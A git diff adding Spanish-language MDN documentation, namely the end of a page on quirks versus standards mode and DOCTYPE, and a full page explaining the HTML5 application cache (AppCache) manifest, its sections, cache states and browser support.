+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">¿Cómo determinan los navegadores qué modo usar?</h2>
+
+<p>Para documentos <a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, los navegadores usan un DOCTYPE al principio del documento para decidir cómo manejarlo y si deben hacerl en modo quirks o estándar. Para asegurarse de que las página usa el modo estándar completo, debes poner el DOCTYPE como en este ejemplo:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset=UTF-8&gt;
+    &lt;title&gt;Hello World!&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>El DOCTYPE mostrado en el ejemplo, <code>&lt;!DOCTYPE html&gt;</code>, es el más simple posible y el recomendado para usar en documentos HTML5. Las versiones anteriores del estándar HTML recomendaban otras variantes, pero todos los navegadores modernos usan ese DOCTYPE para el modo estándar completo, incluso las versiones antiguas de Internet Explorer (a partir de la 6). No hay motivos reales para usar un DOCTYPE más complicado, te arriesgas a elegir uno incorrecto o cometer un fallo y pasar al modo quirks en lugar del estándar.</p>
+
+<p>Asegúrate de poner el DOCTYPE justo al principio del documento HTML. Si pones cualquier cosa antes del DOCTYPE, como un comentario o una declaración XML, hará que versiones antiguas de Internet Explorer (9 y anteriores) interpreten la página en modo quirks.</p>
+
+<p>En HTML5, el único objetico del DOCTYPE es activar el modo estándar completo. Las versiones anteriores del estándar HTML daban información adicional en el DOCTYPE, pero ningún navegador usaba dicha información y sólo la usaba para cambiar entre el modo quirks o el estándar.</p>
+
+<p>Más información y detalles en <a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">cuándo eligen los navegadores entre los diferentes modos</a>.</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>Si sirves la página como <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> usando el MIME <code>application/xhtml+xml</code> en el <code>Content-Type</code> de la cabecera HTTP, no necesitas especificar un DOCTYPE para habilitar el modo estándar, porque esos documentos siempre usan el modo estándar completo. Aunque hay que aclarar que servir páginas como <code>application/xhtml+xml</code> hará que Internet Explorer 8 <a href="/en-US/docs/XHTML#Support" title="XHTML">muestre el diálogo de descarga</a> para contenido desconocido en lugar de mostrar la página, porque la primera versión de Internet Explorer que soporta XHTML es IE9.</p>
+
+<p>Si sirves contenido XHTML usando el MIME <code>text/html</code>, los navegadores lo leeran como HTML, y necesitarás poner un DOCTYPE para que usen el modo estándar.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">¿Cómo puedo ver qué modo está siendo usado?</h2>
+
+<p>En Firefox, selecciona <em>Ver Información de Página</em> en el menú contextual, y selecciona la opción <em>Modo de Renderizado</em> (Render Mode).</p>
+
+<p>En Internet Explorer, pulsa <em>F12</em>, y buscar <em>Modo de Documento</em> (Document Mode)</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">¿Cuáles son las diferencias entre los modos?</h2>
+
+<p>Lee la <a href="/en-US/docs/Mozilla_Quirks_Mode_Behavior" title="Mozilla_Quirks_Mode_Behavior">lista de quirks</a> y <a href="/en-US/docs/Gecko's_&quot;Almost_Standards&quot;_Mode" title="Gecko%27s_%22Almost_Standards%22_Mode">modo casi estándar</a> para ver las diferencias entre los modos.</p>
diff --git a/files/es/web/html/recursos_offline_en_firefox/index.html b/files/es/web/html/recursos_offline_en_firefox/index.html
new file mode 100644
index 0000000000..dfed8fe0d5
--- /dev/null
+++ b/files/es/web/html/recursos_offline_en_firefox/index.html
@@ -0,0 +1,382 @@
+---
+title: Usar el caché de aplicaciones
+slug: Web/HTML/Recursos_offline_en_firefox
+tags:
+  - Firefox 3.5
+  - HTML5
+  - aplicaciones web sin conexión
+  - para_revisar
+translation_of: Web/HTML/Using_the_application_cache
+---
+<h2 id="Introducción">Introducción</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5" title="/en-US/docs/HTML/HTML5">HTML5</a> proporciona un mecanismo de <em>caché de aplicación</em> que permite que las aplicaciones basadas en la web se ejecuten sin conexión. Los desarrolladores pueden usar la interface de <strong>Caché de aplicaciones</strong> (<em>AppCache</em>) para especificar los recursos que el navegador debería guardar en caché y tener disponibles para los usuarios cuando no estén conectados. Las aplicaciones que están en caché se cargan y funcionan correctamente aunque los usuarios hagan clic en el botón recargar cuando no están conectados.</p>
+
+<p>Usar el caché de aplicaciones le da a la aplicación los siguientes beneficios:</p>
+
+<ul>
+ <li>Navegación sin conexión: los usuarios pueden navegar un sitio aún cuando no estén conectados.</li>
+ <li>Velocidad: los recursos en caché son locales, y por lo tanto, se cargan más rápido.</li>
+ <li>Carga al servidor reducida: el navegador solamente descarga desde el servidor recursos que han cambiado..</li>
+</ul>
+
+<h3 id="¿Cómo_funciona_el_caché_de_aplicaciones">¿Cómo funciona el caché de aplicaciones?</h3>
+
+<h3 id="Habilitando_caché_de_aplicaciones">Habilitando caché de aplicaciones</h3>
+
+<p>Para habilitar el caché de aplicaciones, debe incluir el atributo {{htmlattrxref("manifest", "html")}} en el elemento {{HTMLElement("html")}} en las páginas de sus aplicaciones, como se muestra en el siguiente ejemplo:</p>
+
+<div>
+<pre class="brush: html"><span class="brush: html">&lt;html manifest="ejemplo.appcache"&gt; </span>
+  ...
+&lt;/html&gt;
+</pre>
+</div>
+
+<p>El atributo manifest referencia un archivo <strong>manifest de caché</strong>, que es un archivo de texto que lista los recursos (archivos) que el navegador deberá guardar en caché para la aplicación.</p>
+
+<p>Debería incluir el atributo <code>manifest</code> en cada página de la aplicación que quiera guardar en caché. El navegador no guardará páginas que no contengan el atributo  <code>manifest</code>, a menos que esas páginas estén específicamente listadas en el archivo manifest en sí mismo. No es necesario listar todas las páginas que se quieran guardar en caché en el archivo de manfifesto, el navegador implícitamente agrega cada página que el usuario visite y tenga el atributo <code>manifest</code> establecido para caché de aplicación.</p>
+
+<p>Algunos navegadores (ej. Firefox) muestran una notificación la primera vez que un usuario carga una aplicación que usa caché de aplicaciones La barra de notificaciones muestra un mensaje parecido a :</p>
+
+<p style="margin-left: 40px;">Este sitio web (<code>www.ejemplo.com</code>) está pidiendo guardar datos en su equipo para usar sin conexión. [Permitir] [Nunca para este sitio] [No por ahora]</p>
+
+<p>El término "offline(-enabled) applications" a veces se refiere específicamente a aplicaciones a las que el usuario ha permitido que usen capacidades sin conexión.</p>
+
+<h3 id="Cargando_documentos">Cargando documentos</h3>
+
+<div>
+<p>Es uso de caché de aplicaciones modifica el proceso normal de la carga de un documento:</p>
+
+<ul>
+ <li>Si existe caché de aplicaciones, el navegador carga el documento y sus recursos asociados directamente desde ahí, sin acceder a la red. Esto acelera el tiempo de carga del documento.</li>
+ <li>El navegador entonces verifíca si hubo actualizaciones al manifest de caché en el servidor.</li>
+ <li>Si el manifest de caché fue actualizado, el navegador descarga la nueva versión del archivo y de los recursos listados en él. Esto se realiza en segundo plano y no afecta el rendimiento de forma significativa.</li>
+</ul>
+
+<p>El proceso para cargar documentos y actualizar el caché de aplicaciones está especificado con gran detalle aquí debajo:</p>
+</div>
+
+<ol>
+ <li>Cuando el navegador visita un documento que incluye el atributo <code>manifest</code>, si no existe caché de aplicaciones, el navegador carga el documento y baja todas las entradas listadas en el archivo del manifest, creando la primera versón de caché de aplicaciones. </li>
+ <li>Posteriores visitas a ese documento causan que el navegador cargue el documento y otros archivos especificados en el manifest desde el caché de aplicaciones (no desde el servidor). Además, el navegador envía un evento <code>checking</code> al objeto <code><a href="https://developer.mozilla.org/en/DOM/window.applicationCache" title="en/DOM/window.applicationCache">window.applicationCache</a></code> y descarga el archivo de manifest, siguiendo las reglas de caché HTTP apropiadas.</li>
+ <li>Si la copia del manifest actualmente en caché está actualizada, el navegador envía un evento <code>noupdate</code> al objeto <code>applicationCache</code> y el proceso de actualización está completo. Hay que tener en cuenta que si se cambia en el servidor cualquier recurso en caché, se deberá cambiar también el archivo de manifest, para que el navegador sepa que deberá descargar los recursos nuevamente.</li>
+ <li>Si el archivo de manifest <em>ha</em> cambiado, todos los archivos listados en el manifest—así como los que se agregaron al caché llamando <code><a href="https://developer.mozilla.org/en/nsIDOMOfflineResourceList#add.28.29" title="en/nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>—se descargarán en un caché temporario, siguiendo las reglas de caché  HTTP apropiadas. Para cada archivo descargado en este caché temporario, el navegador envía un evento <code>progress</code> al objeto <code>applicationCache</code>. Si ocurre cualquier error, el navegador envía un evento <code>error</code> y la actualización se detiene.</li>
+ <li>Una vez que todos los archivos han sido recuperados exitosamente, son movidos al caché sin conexión real automáticamente y un evento <code>cached</code> es enviado al objeto <code>applicationCache</code>. Como el documento ya ha sido cargado en el navegador desde caché, la actualización no se mostrará hasta que el documento sea re-cargado (ya sea manualmente o por programa).</li>
+</ol>
+
+<h2 id="Ubicación_del_almacenamiento_y_limpiando_el_caché_sin_conexión">Ubicación del almacenamiento y limpiando el caché sin conexión</h2>
+
+<p>En Chrome se puede limpiar el caché sin conexión seleccionando "Clear browsing data..." en las preferencias o visitando <a class="external" title="chrome://appcache-internals/">chrome://appcache-internals/</a>. Safari tiene una configuración similar"Vaciar cache" en sus preferencias, pero se requiere el reinicio del navegador.</p>
+
+<p>En Firefox, el caché sin conexión se guarda en un lugar separado del perfil de Firefox profile—cerca del caché de disco regular:</p>
+
+<ul>
+ <li>Windows Vista/7: <code>C:\Users\&lt;usuario&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;salt&gt;.&lt;nombre de perfil&gt;\OfflineCache</code></li>
+ <li>Mac/Linux: <code>/Users/&lt;usuario&gt;/Library/Caches/Firefox/Profiles/&lt;salt&gt;.&lt;nombre de perfil&gt;/OfflineCache</code></li>
+</ul>
+
+<p>En Firefox el estado actual del caché de aplicaciones puede ser inspeccionado en la página the <code>about:cache</code> (debajo del encabezado "Offline cache device"). El caché sin conexión pude limpiarse para cada sitio por separado usando el botón "Eliminar..." Herramientas -&gt; Opciones -&gt; Avanzadas -&gt; Red -&gt; Datos sin conexión.</p>
+
+<p>Antes de Firefox 11, ni Herramientas -&gt; Limpiar historial reciente ni Herramientas -&gt; Opciones -&gt; Avanzadas -&gt; Red -&gt; Datos sin conexión -&gt; Limpiar ahora borraban el caché sin conexión. Esto ha sido solucionado.</p>
+
+<p>Véase también <a href="https://developer.mozilla.org/en/DOM/Storage#Storage_location_and_clearing_the_data" title="en/DOM/Storage#Storage location and clearing the data">limpiar los datos de almacenamiento de DOM</a>.</p>
+
+<div>
+<p>Los cachés de aplicaciones también pueden quedar obsoletos. Si el archivo de manifest de una aplicación es eliminado del servidor, el navegador elimina todo caché de la aplicación que use aquel manifest y envía un evento "obsoleted" al objeto <code>applicationCache</code>. Esto cambia el estado de caché de la aplicación a <code>OBSOLETE</code>.</p>
+</div>
+
+<h2 id="El_archivo_de_manifest_de_caché">El archivo de manifest de caché</h2>
+
+<h3 id="Referenciando_un_archivo_de_manifest_de_caché">Referenciando un archivo de manifest de caché</h3>
+
+<p>El atributo <code>manifest</code> en una aplicación web puede especificar ya sea la ruta relativa de un archivo de manifest de caché o una URL absoluta (URLs absolutas deben estar en el mismo origen que la aplicación). Un archivo de manifest de caché puede tener cualquier extensión de archivo, pero debe ser enviada con el tipo MIME <code>text/cache-manifest</code>.</p>
+
+<div class="note"><strong>Nota: </strong>En servidores Apache, el tipo MIME para los archivos de manifest (.appcache) puede establecerse agregando <code>AddType text/cache-manifest .appcache</code> a un archivo .htaccess dentro del directorio raíz o del mismo directorio que la aplicación.</div>
+
+<h3 id="Entradas_en_el_archivo_de_manifest_de_caché">Entradas en el archivo de manifest de caché</h3>
+
+<p>El archivo de manifest de caché es un archivo de texto simple que lista los recursos que el navegador debería guardar en caché para acceder sin conexión. Los recursos son identificados por URI. Las entradas listadas en el manifest de caché deben tener el mismo esquema, servidor y puerto que el manifest. </p>
+
+<h3 id="Ejemplo_1_un_archivo_de_manifest_de_caché_simple">Ejemplo 1: un archivo de manifest de caché simple</h3>
+
+<div>
+<p>El siguiente es un archivo de manifest de caché simple, <code>ejemplo.appcache</code>, para un sitio web imaginario en <span class="nowiki">www.ejemplo.com</span>.</p>
+
+<pre class="eval">CACHE MANIFEST
+# v1 - 2011-08-13
+# Esto es un comentario.
+<span class="nowiki">http://www.ejemplo.com/index.html</span>
+<span class="nowiki">http://www.ejemplo.com/encabezado.png</span>
+<span class="nowiki">http://www.ejemplo.com/blah/blah</span>
+</pre>
+
+<p>Un archivo de manifest de caché puede incluir tres secciones (<code>CACHE</code>, <code>NETWORK</code> y <code>FALLBACK</code>, discutidas debajo). En el ejemplo mencionado, no hay encabezado de sección, así que todoas las líneas de datos se asumen como si estuvieran en la sección explícita (<code>CACHE</code>), lo que significa que el navegador deberá guardar en caché todos los recursos listados en el caché de aplicación. Los recursos pueden ser especificados como URLs absolutas o relativas (ej. <code>index.html</code>).</p>
+
+<p>El comentario "v1" en el ejemplo está ahí por una buena razón. Los navegadores solamente actualizan el caché de aplicación cuando el archivo de manifest cambia byte por byte. Si se cambia un recurso en caché (por ejemplo, si se actualiza la imagen <code>header.png</code> con nuevo contenido), se debe cambiar el contenido del archivo de manifest para que los navegadores sepan que se necesita actualizar el caché. Se puede hacer cualquier cambio al archivo de manifest, pero cambiar el número de versión es una práctica recomendada.</p>
+
+<div class="warning"><strong>Importante:</strong> No hay que especificar el manifest en el mismo archivo de manifest Do not specify the manifest, porque sería casi imposible informar al navegador que hay un nuevo manifest disponible.</div>
+
+<h3 id="Secciones_en_un_archivo_de_manifest_de_caché_CACHE_NETWORK_y_FALLBACK">Secciones en un archivo de manifest de caché: <code>CACHE</code>, <code>NETWORK</code> y <code>FALLBACK</code></h3>
+
+<p>Un manifest puede tener tres secciones distintas: <code>CACHE</code>, <code>NETWORK</code> y <code>FALLBACK</code>.</p>
+
+<dl>
+ <dt><code>CACHE:</code></dt>
+ <dd>Esta es la sección predeterminada para las entradas en el archivo de manifest de caché. Los archivos listados bajo el encabezado de sección <code>CACHE:</code> (o inmediatamente después de la línea <code>CACHE MANIFEST</code>) son guardados en caché explícitamente después de ser descargados la primera vez.</dd>
+ <dt><code>NETWORK:</code></dt>
+ <dd>Los archivos listados bajo el encabezado de sección <code>NETWORK:</code> en el archivo de manifest de caché son recursos en <em>lista blanca</em> que requieren una conexión al servidor. Todos los pedidos a esos recursos evitan el caché aunque el usuario esté desconectado. Se pueden usar comodines.</dd>
+ <dt><code>FALLBACK:</code></dt>
+ <dd>La sección <code>FALLBACK:</code> especifica las páginas que el navegador debería usar si un recurso no es accesible. Cada entrada en esta sección lista dos URIs—lla primera es el recurso, la seguda es el fallback. Ambas URIs deben ser relativas y del mismo origen que el archivo de manifest. Se pueden usar comodines.</dd>
+</dl>
+
+<p>Las secciones <code>CACHE</code>, <code>NETWORK</code> y <code>FALLBACK </code>pueden lsitarse en cualquier orden en el archivo de manifest y cada sección puede aparecer más de una vez en un manifest.</p>
+
+<h3 id="Ejemplo_2_un_archivo_de_manifest_de_caché_más_completo">Ejemplo 2: un archivo de manifest de caché más completo</h3>
+
+<p>El siguiente es un archivo de manifest de caché para el sitio web imaginario en <span class="nowiki">www.ejemplo.com</span>:</p>
+
+<pre class="eval">CACHE MANIFEST
+# v1 2011-08-14
+# Este es otro comentario
+index.html
+cache.html
+style.css
+image1.png
+
+# Usar desde la red si está disponible
+NETWORK:
+network.html
+
+# Contenido de fallback
+FALLBACK:
+/ fallback.html
+</pre>
+
+<p>Este ejemplo usa las secciones <code>NETWORK</code> y <code>FALLBACK</code> para especificar la página <code>network.html</code> que deber ser recuperada desde la red y que la página <code>fallback.html</code> servirá como fallback (ej. en caso que una conexión al servidor no pueda establecerse).</p>
+
+<h3 id="Estructura_de_un_archivo_de_manifest_de_caché">Estructura de un archivo de manifest de caché</h3>
+
+<p>Los archivos de manifest de caché deben enviarse con el tipo MIME <code>text/cache-manifest</code>. Todos los recursos servidos usando este tipo MIME deben seguir la sintaxis para un manifest de caché de aplicación, como se define en esta sección.</p>
+
+<p>Los manifests de caché son archivos de texto en formato UTF-8 y pueden incluír opcionalmente un caracter BOM. Las nuevas líneas pueden ser representadas por salto de línea (<code>U+000A</code>), retorno de carro (<code>U+000D</code>) o ambos retorno de carro y salto de línea.</p>
+
+<p>La primera línea del manifest de caché debe consistir en la cadena <code>CACHE MANIFEST</code> (con un solo espacio <code>U+0020</code> entre ambas palabras), seguido de cero o más espacios con caracteres de tabulación. Cualquier otro texto en la línea es ignorado.</p>
+
+<p>El resto del manifest de caché debe estar compuesto por cero o más de las siguientes líneas:</p>
+
+<dl>
+ <dt>Línea en blanco</dt>
+ <dd>Se pueden usar líneas en blanco compuestas por cero o más espacios y caracteres de tabulación.</dd>
+ <dt>Comentario</dt>
+ <dd>Los comentarios consisten en cero o más tabulaciones o espacios seguidos por un caracter <code>#</code> seguido de cero o más caracteres del texto del comentario. Los comentarios pueden usarse solamente en sus propias líneas y no pueden agregarse a otras líneas. Esto signifíca que no puede espcificar identificadores de fragmento.</dd>
+ <dt>Encabezado de sección</dt>
+ <dd>Los encabezados de sección especifican qué sección del manifest de caché está siendo manipulada. Hay tres encabezados de sección posibles:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Encabezado de sección</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>CACHE:</code></td>
+   <td>Cambia a la sección explícita del manifest de caché (esta es la sección predeterminada).</td>
+  </tr>
+  <tr>
+   <td><code>NETWORK:</code></td>
+   <td>Cambia a la sección de lista blanca del manifest de caché.</td>
+  </tr>
+  <tr>
+   <td><code>FALLBACK:</code></td>
+   <td>Cambia a la sección fallback del manifest de caché.</td>
+  </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>La línea de encabezado de sección puede incluir espacios en blanco, pero debe incluir los dos puntos (<code>:</code>) en el nombre de sección.</dd>
+ <dt>Datos de sección</dt>
+ <dd>El formato de las líneas de datos varía de sección a sección. En la sección explícita (<code>CACHE:</code>), cada línea es una URI o referencia IRI a un recurso a guardar en caché (no se permiten caracteres comodines en esta sección). El espacio en blanco se permite antes y después de la URI o IRI en cada línea. En la sección Fallback cada línea es una URI o referencia IRI válida a un recurso, seguida por un recurso de fallback que será enviado cuando la comunicación con el servidor no pueda establecerse. En la sección Network, cada línea es una URI o referencia IRI válida a un recurso a obtener desde la red (se permite el caracter comodín * en esta sección).
+ <div class="note"><strong>Nota: </strong>URIs relativas son relativas a la URI del manifest de caché, no a la URI del documento que hace referencia al manifest.</div>
+ </dd>
+</dl>
+
+<p>Los archivos de manifest de caché pueden cambiar de sección a sección a voluntad (cada encabezado de sección puede usarse más de una vez) y se permite que las secciones estén vacías.</p>
+
+<h2 id="Recursos_en_un_caché_de_aplicación">Recursos en un caché de aplicación</h2>
+
+<p>Un caché de aplicación siempre incluye al menos un recurso, identificado por URI. Todos los recursos entran en una de las siguientes categorías:</p>
+
+<dl>
+ <dt>Entradas maestras</dt>
+ <dd>Estos son recursos adicionados al caché porque un contexto de navegación visitado por el usuario incluyó un documento que indicó que estaba en caché usando el atributo <code>manifest</code>.</dd>
+ <dt>Entradas explícitas</dt>
+ <dd>Estos recursos están listados explícitamente en el archivo de manifest de caché de la aplicación.</dd>
+ <dt>Entradas de red</dt>
+ <dd>Estos son recursos listados en el archivo de manifest de caché de la aplicación como entradas de red.</dd>
+ <dt>Entradas de fallback</dt>
+ <dd>Estos son recursos listados en el archivo de manifest de caché de la aplicación como entradas de fallback.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> Los recursos pueden estar etiquetados en múltiples categorías y por lo tanto ser categorizados como entradas múltiples. Por ejemplo, una entrada puede ser explícita y fallback a la vez.</div>
+
+<p>Las categorías de recursos se describen con más detalle debajo.</p>
+
+<h3 id="Entradas_principales">Entradas principales</h3>
+
+<p>Una entrada maestra es cualquier archivo HTML que incluya un atributo {{ htmlattrxref("manifest","html") }} en su elemento {{ HTMLElement("html") }}.  Por ejemplo, digamos que tenemos el archivo <code><a class="linkification-ext external" href="http://www.foo.bar/entry.html" title="Linkification: http://www.foo.bar/entry.html">http://www.ejemplo.com/entrada.html</a></code>, que incluye el siguiente texto:</p>
+
+<pre class="brush: html">&lt;html manifest="ejemplo.appcache"&gt;
+  &lt;h1&gt;Ejemplo de cache de aplicacion&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Si <code>entrada.html</code> no está listado en el archivo de manifest de caché <code>ejemplo.appcache</code>, visitar la pagina <code>entrada.html</code> causa que se agregue al caché de aplicación el archivo <code>entrada.html</code> como entrada maestra.</p>
+
+<h3 id="Entradas_explícitas">Entradas explícitas</h3>
+
+<p>Las entradas explícitas son recursos que están listados explicitamente en la seccion <code>CACHE </code>de un archivo de manifest de caché.</p>
+
+<h3 id="Entradas_de_red">Entradas de red</h3>
+
+<p>La sección <code>NETWORK</code> de un archivo de manifest de caché especifíca recurso para los cuales una aplicacion web requiere acceso a internet. Las entradas de red en el caché de aplicación son escencialmente una "lista blanca online"—URIs especificadas en la sección <code>NETWORK</code> se cargarán desde el servidor en lugar del caché. Esto permite que el modelo de seguridad del navegador proteja al usuario de problemas de seguridad potenciales al limitar el acceso a recursos aprobados.</p>
+
+<p>Como ejemplo, puedes usar entradas en la seccion red para cargar y ejecutar scripts y otro código desde el servidor en lugar del caché:</p>
+
+<pre>CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+
+<p>La sección de caché de manifest listada debajo asegura que las peticiones para cargar los recursos contenidos en  <code><a class="external" href="http://www.example.com/api/" rel="freelink">http://www.example.com/api/</a></code> siempre van a la red sin intentar acceder a la caché.</p>
+
+<div class="note"><strong>Nota</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">Simplemente</span> <span class="hps">omitiendo</span> <span class="hps">las entradas</span> principales</span> (archivos que tienen el atributo <code>manifest</code> en el elemento <code>html</code>) del archivo manifest no tendrá el mismo resultado, porque las entradas principales serán agregadas—y posteriormente servida por—la aplicación de caché. </div>
+
+<h3 id="Entradas_fallback">Entradas fallback</h3>
+
+<p>Las entradas fallback son usadas cuando un intento de cargar los recursos falla. Por ejemplo, digamos que el archivo de anifest de caché <code><a class="external" href="http://www.example.com/example.appcache" rel="freelink">http://www.example.com/example.appcache</a></code> incluye el siguiente contenido:</p>
+
+<pre>CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+
+<p>Cualquier petición a <code><a class="external" href="http://www.example.com/example/bar/" rel="freelink">http://www.example.com/example/bar/</a></code> o cualquiera de sus directorios <span id="result_box" lang="es"><span class="hps">y</span> <span class="hps">su contenido</span> hace que <span class="hps">el explorador</span> <span class="hps">emita</span> <span class="hps">una solicitud de red</span> <span class="hps">al</span> <span class="hps">intentar cargar el</span> <span class="hps">recurso solicitado</span></span>. Si la petición falla, debido a una falla de la red o un error de servidor de cualquier tipo, el navegador carga el archivo <code>example.html</code> en su lugar.</p>
+
+<h2 id="Estados_de_caché">Estados de caché</h2>
+
+<p>Cada aplicación de caché tiene un <strong>estado</strong>, que indica el estado actual del caché. Cachés que comparten el mismo manifest URI comparten el mismo estado de caché, el cual puede ser uno de los siguientes:</p>
+
+<dl>
+ <dt><code>UNCACHED</code></dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Un valor</span> <span class="hps">especial que indica</span> <span class="hps">que un objeto</span> <span class="hps">caché de la aplicación</span></span> no está inicializado en su totalidad.</dd>
+ <dt><code>IDLE</code></dt>
+ <dd>La caché de aplicación no está actualmente en el proceso de actualización.</dd>
+ <dt><code>CHECKING</code></dt>
+ <dd>El manifest se ha obtenido y revisado para actualizaciones.</dd>
+ <dt><code>DOWNLOADING</code></dt>
+ <dd>Recursos han sido descargados para ser añadidos al caché, debido a un cambio de recursos de manifest.</dd>
+ <dt><code>UPDATEREADY</code></dt>
+ <dd>Hay una nueva versión de la aplicación de caché disponible. Hay un correspondiente evento <code>updateready</code>, que es lanzado en lugar del evento <code>cached</code> cuando una nueva actualización acaba de ser descargada pero aún no ah sido activado el método <code>swapCache()</code>.</dd>
+ <dt><code>OBSOLETE</code></dt>
+ <dd>La aplicación de caché de grupo es ahora obsoleta.</dd>
+</dl>
+
+<h2 id="Probando_para_actualizaciones_para_el_manifest_de_caché">Probando para actualizaciones para el manifest de caché</h2>
+
+<p>Puedes programar para ver si una aplicación tiene un archivo de actualización del manifest de caché, usando JavaScript. Desde que un archio de manifest de caché tiene que ser actualizado antes de que un script adjunte eventos escuchas para probar para actualizaciones, los scripts siempre deben probar <code>window.applicationCache.status</code>.</p>
+
+<pre class="brush: js">function onUpdateReady() {
+  alert('found new version!');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}</pre>
+
+<p> Para comenzar a probar manualmente para un nuevo archivo manifest, puedes usar <code>window.applicationCache.update()</code>.</p>
+
+<h2 id="Contra_indicaciones">Contra indicaciones</h2>
+
+<ul>
+ <li>Nunca accesar aplicacines de caché usando los parámetros tradicionales de GET (como <code>other-cached-page.html?parameterName=value</code>). Esto hará que el navegador omita el caché y trate de obtenerlo mediante la red. <span class="short_text" id="result_box" lang="es"><span class="hps">Para enlazar</span> <span class="hps">a los recursos</span> <span class="hps">almacenados en caché</span></span> que tienen parámetros cambiados a JavaScript usa parámetros en la parte del hash del enlace, como <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>Cuando las aplicaciones son almacenadas en caché, simplemente actualizando los recursos (archivos) que son usados en una página web no son suficientes para actualizar los archivos que han sido almacenados en caché. Debes actualizar el archivo de manifest de caché a sí mismo antes de que el navegador recupere y use los archivos actualizados. Puedes hacer esto programadamente usando <code>window.applicationCache.swapCache()</code>, <span id="result_box" lang="es"><span class="hps">aunque</span> <span class="hps">los recursos</span> <span class="hps">que</span> <span class="hps">ya han sido cargados</span> <span class="hps">no se verán afectados</span></span>. <span id="result_box" lang="es"><span class="hps">Para asegurarse de</span> <span class="hps">que los recursos</span> <span class="hps">se cargan desde</span> <span class="hps">una nueva</span> <span class="hps">versión de la</span> <span class="hps">caché de la aplicación</span><span>,</span> <span class="hps">la actualización de la</span> <span class="hps">página</span> <span class="hps">es ideal</span></span>.</li>
+ <li>Es una buena idea colocar cabeceras expiradas en tu sitio para los archivos <code>*.appcache</code> para que caduquen inmediatamente. Esto previene el riesgo de almacenar en caché archivos de manifest. Por ejemplo, en Apache puedes especificar <span id="result_box" lang="es"><span class="hps">una</span> <span class="hps">configuración de este tipo</span> <span class="hps">de la siguiente manera</span></span>:<br>
+  <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Nota: Versiones de Firefox anteriores a la 3.5 ignoran las secciones <code>NETWORK y</code> <code>FALLBACK del archivo manifest de caché</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/appcache/beginner/" title="http://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a class="external" href="http://appcachefacts.info/" title="http://appcachefacts.info/">appcachefacts.info</a> - información detallada en AppCache idiosyncrasies</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> en hacks.mozilla.org - muestras de una aplicacón offline en demo y explica como funciona.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a class="external" href="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage" title="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li>{{ interface("nsIApplicationCache") }}</li>
+ <li>{{ interface("nsIApplicationCacheNamespace") }}</li>
+ <li>{{ interface("nsIApplicationCacheContainer") }}</li>
+ <li>{{ interface("nsIApplicationCacheChannel") }}</li>
+ <li>{{ interface("nsIApplicationCacheService") }}</li>
+ <li>{{ interface("nsIDOMOfflineResourceList") }}</li>
